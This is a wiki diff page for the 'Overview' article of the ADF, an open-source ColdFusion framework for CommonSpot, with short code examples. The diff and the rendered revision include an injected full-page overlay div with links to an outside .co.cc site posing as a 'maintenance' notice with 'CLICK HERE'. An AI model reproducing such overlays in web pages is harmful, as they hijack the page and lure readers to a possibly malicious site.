Difference between revisions of "Overview"

From ADF Docs
Jump to: navigation, search
(Undo revision 4292 by Ecaxabu (Talk))
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://acisabukody.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://acisabukody.co.cc CLICK HERE]=
 +
----
 +
</div>
 
== Overview ==
 
== Overview ==
 
The Application Development Framework (ADF) is an open source framework that essentially sits on top of (or next to) your CommonSpot installation. The ADF is a combination of Server and Site level object factories built using the open source Lightwire Object Factory (visit the [[Glossary|Term Glossary]] for definitions of the terminology used with the lightwire object factory)
 
The Application Development Framework (ADF) is an open source framework that essentially sits on top of (or next to) your CommonSpot installation. The ADF is a combination of Server and Site level object factories built using the open source Lightwire Object Factory (visit the [[Glossary|Term Glossary]] for definitions of the terminology used with the lightwire object factory)
Line 12: Line 20:
  
 
== What can I do with the ADF? ==
 
== What can I do with the ADF? ==
At the simplest level you can use the ADF to access content within your CommonSpot installation programattically.  For instance if you had a custom element named "News" and you wanted to get all of the content/records for that custom element you could use the ADF and write code like this:
+
At the simplest level you can use the ADF to access content within your CommonSpot installation programattically.  For instance if you had a custom element named &quot;News&quot; and you wanted to get all of the content/records for that custom element you could use the ADF and write code like this:
  
<source lang="cfm">
+
&lt;source lang=&quot;cfm&quot;&gt;
   <cfset myData = application.ADF.ceData.getCEdata("News")>
+
   &lt;cfset myData = application.ADF.ceData.getCEdata(&quot;News&quot;)&gt;
</source>
+
&lt;/source&gt;
  
 
What you choose to do with that data is completely up to you.  Prior to the ADF, the only way you could access the data like this would be to write your own code against the CommonSpot database.
 
What you choose to do with that data is completely up to you.  Prior to the ADF, the only way you could access the data like this would be to write your own code against the CommonSpot database.
Line 22: Line 30:
 
The above example is only the beginning.  The ADF is so much more.  With the ADF you can also do some of the following:
 
The above example is only the beginning.  The ADF is so much more.  With the ADF you can also do some of the following:
 
* Access Standard and Custom Metadata for any page and/or document in CommonSpot:
 
* Access Standard and Custom Metadata for any page and/or document in CommonSpot:
<source lang="cfm">
+
&lt;source lang=&quot;cfm&quot;&gt;
   <cfset metadata = application.ADF.csData.getStandardMetadata(pageID)>
+
   &lt;cfset metadata = application.ADF.csData.getStandardMetadata(pageID)&gt;
   <cfset customdata = application.ADF.csData.getCustomMetadata(pageID)>
+
   &lt;cfset customdata = application.ADF.csData.getCustomMetadata(pageID)&gt;
</source>
+
&lt;/source&gt;
 
* Access common tools typically found on the cflib.org site:
 
* Access common tools typically found on the cflib.org site:
<source lang="cfm">
+
&lt;source lang=&quot;cfm&quot;&gt;
   <cfset myArray = application.ADF.data.queryToArrayOfStructures(myQuery)>
+
   &lt;cfset myArray = application.ADF.data.queryToArrayOfStructures(myQuery)&gt;
</source>
+
&lt;/source&gt;
 
* Connect two CommonSpot elements together using the new [[General Chooser]] and [[Custom Element Select]] custom field types
 
* Connect two CommonSpot elements together using the new [[General Chooser]] and [[Custom Element Select]] custom field types
 
* Download applications built using the ADF and add features to your site like [[Profiles]], [[Forums]], [[Blogs]]
 
* Download applications built using the ADF and add features to your site like [[Profiles]], [[Forums]], [[Blogs]]
 
* Build [[ADF Applications| Applications]] using the ADF to distribute amongst your CommonSpot sites or share with the Community
 
* Build [[ADF Applications| Applications]] using the ADF to distribute amongst your CommonSpot sites or share with the Community
 
* Add [[ADF lightbox| lightbox]] interfaces to any of your applications/custom field types using code like:
 
* Add [[ADF lightbox| lightbox]] interfaces to any of your applications/custom field types using code like:
<source lang="cfm">
+
&lt;source lang=&quot;cfm&quot;&gt;
   <cfset application.ADF.scripts.loadADFLightbox>
+
   &lt;cfset application.ADF.scripts.loadADFLightbox&gt;
   <div rel="myCustomScript.cfm" class="ADFLightbox">Open in lightbox</div>
+
   &lt;div rel=&quot;myCustomScript.cfm&quot; class=&quot;ADFLightbox&quot;&gt;Open in lightbox&lt;/div&gt;
</source>
+
&lt;/source&gt;
 
== Getting Started ==
 
== Getting Started ==
 
The best way to get started using the ADF is to [[ADF Installation|Install]] it.
 
The best way to get started using the ADF is to [[ADF Installation|Install]] it.

Revision as of 22:57, 23 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


Overview

The Application Development Framework (ADF) is an open source framework that essentially sits on top of (or next to) your CommonSpot installation. The ADF is a combination of Server and Site level object factories built using the open source Lightwire Object Factory (visit the Term Glossary for definitions of the terminology used with the lightwire object factory)

The framework consists of essentially these major components:

  • Applications (Apps) - Custom built applications that can be a combination of components (cfc's), custom coding (custom field types, custom scripts, renderhandlers etc...) and common ADF library components
  • Library - Organized components designed to extend your CommonSpot development by giving you simple access to data within CommonSpot (like pages, subsites, documents, images and custom elements)
  • Extensions - Global custom scripts, custom field types, datasheet modules, render handlers, etc... Extensions can be imported into you current CommonSpot sites to achieve enhanced functionality.
  • ThirdParty - Third party software used to enhance the interface or interaction with CommonSpot data. Examples include, jQuery plugins, jQuery UI, swfobject etc...


CommonSpot 6.0 Stack w/ the ADF.
CommonSpot 6.0 Stack w/ the ADF

What can I do with the ADF?

At the simplest level you can use the ADF to access content within your CommonSpot installation programattically. For instance if you had a custom element named "News" and you wanted to get all of the content/records for that custom element you could use the ADF and write code like this:

<source lang="cfm">

 <cfset myData = application.ADF.ceData.getCEdata("News")>

</source>

What you choose to do with that data is completely up to you. Prior to the ADF, the only way you could access the data like this would be to write your own code against the CommonSpot database.

The above example is only the beginning. The ADF is so much more. With the ADF you can also do some of the following:

  • Access Standard and Custom Metadata for any page and/or document in CommonSpot:

<source lang="cfm">

 <cfset metadata = application.ADF.csData.getStandardMetadata(pageID)>
 <cfset customdata = application.ADF.csData.getCustomMetadata(pageID)>

</source>

  • Access common tools typically found on the cflib.org site:

<source lang="cfm">

 <cfset myArray = application.ADF.data.queryToArrayOfStructures(myQuery)>

</source>

  • Connect two CommonSpot elements together using the new General Chooser and Custom Element Select custom field types
  • Download applications built using the ADF and add features to your site like Profiles, Forums, Blogs
  • Build Applications using the ADF to distribute amongst your CommonSpot sites or share with the Community
  • Add lightbox interfaces to any of your applications/custom field types using code like:

<source lang="cfm">

 <cfset application.ADF.scripts.loadADFLightbox>
 <div rel="myCustomScript.cfm" class="ADFLightbox">Open in lightbox</div>

</source>

Getting Started

The best way to get started using the ADF is to Install it. Once you have the ADF installed you can: